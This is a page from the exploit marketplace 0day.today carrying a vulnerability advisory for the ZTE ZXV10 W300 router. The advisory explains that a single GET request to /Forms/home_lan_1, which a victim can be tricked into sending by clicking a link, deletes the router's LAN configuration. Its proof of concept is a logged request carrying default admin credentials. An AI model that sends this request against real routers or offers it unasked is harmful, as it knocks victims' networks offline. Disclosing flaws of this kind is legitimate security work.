0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZTE ZXV10 W300 v3.1.0c_DR0 - UI Session Delete Vulnerability
Document Title: =============== ZTE ZXV10 W300 v3.1.0c_DR0 - UI Session Delete Vulnerability Product & Service Introduction: =============================== ZTE zxv10 w300 ADSL wireless router cat family gateway (accessories include a host, a power line, a line of 1 root, separator, 1) (Copy of the Vendor Homepage: http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html ) Discovery Status: ================= Published Affected Product(s): ==================== ZTE Corporation Product: ZTE ZXV10 W300 3.1.0c_DR0 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A session vulnerability has been discovered in the official ZTE Corporation ZXV10 W300 v3.1.0c_DR0 modem hardware. The security vulnerability allows remote attackers to block/shutedown or delete network settings and components. The LAN configuration post to /Forms/home_lan_1 and the page /home_lan_1 that stores the configuration of the router. Attackers can request via GET method the /Forms/home_lan_1 path and the modem will delete all the LAN configurations automatically. The problem is the GET method request with the /Forms/home_lan_1 path that deletes all the configurations. A hard reset is required after successful exploitation of the issue. The security risk of the router ui web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. Exploitation of the security web vulnerability requires no privilege web-application user account and low user interaction (click link). Successful exploitation of the vulnerability results in reset of the modem device, shutdown of the network/lan or compromise of running services. Request Method(s): [+] POST Vulnerable Module(s): [+] Forms/ Affected Module(s): [+] home_lan_1 Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click). For security demonstration or to reproduce follow the provided information and steps below to continue. --- PoC Session Logs [GET] --- 13:18:35.526[0ms][total 0ms] Status: pending[] GET http://192.168.1.1/Forms/home_lan_1 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[unknown] Mime Type[unknown] Request Headers: Host[192.168.1.1] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Authorization[Basic YWRtaW46YWRtaW4=] Note: The victim with needs to click to perform only the GET method request with non expired session to execute! Reference(s): http://localhost/Forms/home_lan_1 Security Risk: ============== The security risk of the remote vulnerability in the interface service is estimated as high. (CVSS 6.0) # 0day.today [2024-09-17] #